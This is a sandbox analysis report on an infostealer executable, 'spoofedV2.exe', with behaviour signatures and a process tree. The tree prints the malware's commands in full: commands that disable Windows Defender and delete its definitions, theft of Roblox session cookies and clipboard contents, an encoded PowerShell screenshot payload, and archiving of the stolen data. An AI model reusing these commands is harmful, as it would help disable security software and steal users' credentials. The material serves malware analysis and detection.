Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/11/2024, 03:19

General

  • Target

    spoofedV2.exe

  • Size

    12.0MB

  • MD5

    a4a5c39c8ec652046f09c7a3fb2973fb

  • SHA1

    d442d559c884081dc2199c99dd68f9d20ed5401c

  • SHA256

    e9dbb65873885de12d31b6087a300a03d23eca8af63dd7b1b72927ad11406ea1

  • SHA512

    51114488e7c2715f9fa1cc448dd4e0a45086aafb248a23a2cce89db70931f9d790d99f14b19102ab1c18a42ed94a54670a5703712d3b21ae6f613bcdbcc20bd7

  • SSDEEP

    98304:0OzkwN+MdA5wqSnW9Z8MMhJMjarJaon7JPzf+JiUCS3swhzqgez7DovaDJ1n6hBm:04V1vrB6ylnlPzf+JiJCsmFMvln6hqgs

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • UPX packed file 59 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe
    "C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe
      "C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4620
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3564
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3720
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1464
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:804
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error Code - 10X8', 0, 'Loader Failure', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2276
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error Code - 10X8', 0, 'Loader Failure', 0+16);close()"
          4⤵
            PID:4416
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe""
          3⤵
          • Hide Artifacts: Hidden Files and Directories
          • Suspicious use of WriteProcessMemory
          PID:2528
          • C:\Windows\system32\attrib.exe
            attrib +h +s "C:\Users\Admin\AppData\Local\Temp\spoofedV2.exe"
            4⤵
            • Views/modifies file attributes
            PID:4652
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏ ‍ ‎.scr'"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4516
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‏ ‍ ‎.scr'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3432
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1992
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4068
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1224
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1392
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4452
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3132
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:1336
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2124
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3444
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:948
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4884
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:4360
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            3⤵
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:2904
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:1828
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2820
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:3440
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2172
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
              4⤵
                PID:4504
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:8
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4644
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nxamjltt\nxamjltt.cmdline"
                  5⤵
                    PID:4468
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC3DC.tmp" "c:\Users\Admin\AppData\Local\Temp\nxamjltt\CSCD81EFB381F614464BA3AF7D46884BB.TMP"
                      6⤵
                        PID:4076
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                  3⤵
                    PID:1532
                    • C:\Windows\system32\attrib.exe
                      attrib -r C:\Windows\System32\drivers\etc\hosts
                      4⤵
                      • Drops file in Drivers directory
                      • Views/modifies file attributes
                      PID:1660
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:1692
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:3896
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                        3⤵
                          PID:3700
                          • C:\Windows\System32\Conhost.exe
                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            4⤵
                              PID:2172
                            • C:\Windows\system32\attrib.exe
                              attrib +r C:\Windows\System32\drivers\etc\hosts
                              4⤵
                              • Drops file in Drivers directory
                              • Views/modifies file attributes
                              PID:804
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                            3⤵
                              PID:3924
                              • C:\Windows\system32\tree.com
                                tree /A /F
                                4⤵
                                  PID:3160
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                3⤵
                                  PID:2408
                                  • C:\Windows\System32\Conhost.exe
                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                    4⤵
                                      PID:3132
                                    • C:\Windows\system32\tree.com
                                      tree /A /F
                                      4⤵
                                        PID:3260
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                      3⤵
                                        PID:4920
                                        • C:\Windows\system32\tasklist.exe
                                          tasklist /FO LIST
                                          4⤵
                                          • Enumerates processes with tasklist
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:404
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                        3⤵
                                          PID:4848
                                          • C:\Windows\system32\tree.com
                                            tree /A /F
                                            4⤵
                                              PID:1040
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            3⤵
                                              PID:2740
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                4⤵
                                                  PID:4372
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                3⤵
                                                  PID:1668
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                    4⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:4952
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                  3⤵
                                                    PID:3864
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:5076
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "getmac"
                                                    3⤵
                                                      PID:4396
                                                      • C:\Windows\system32\getmac.exe
                                                        getmac
                                                        4⤵
                                                          PID:312
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI34842\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Dhokh.zip" *"
                                                        3⤵
                                                          PID:3656
                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI34842\rar.exe
                                                            C:\Users\Admin\AppData\Local\Temp\_MEI34842\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Dhokh.zip" *
                                                            4⤵
                                                            • Executes dropped EXE
                                                            PID:5068
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                          3⤵
                                                            PID:4924
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic os get Caption
                                                              4⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:804
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                            3⤵
                                                              PID:4972
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic computersystem get totalphysicalmemory
                                                                4⤵
                                                                  PID:4388
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                3⤵
                                                                  PID:828
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic csproduct get uuid
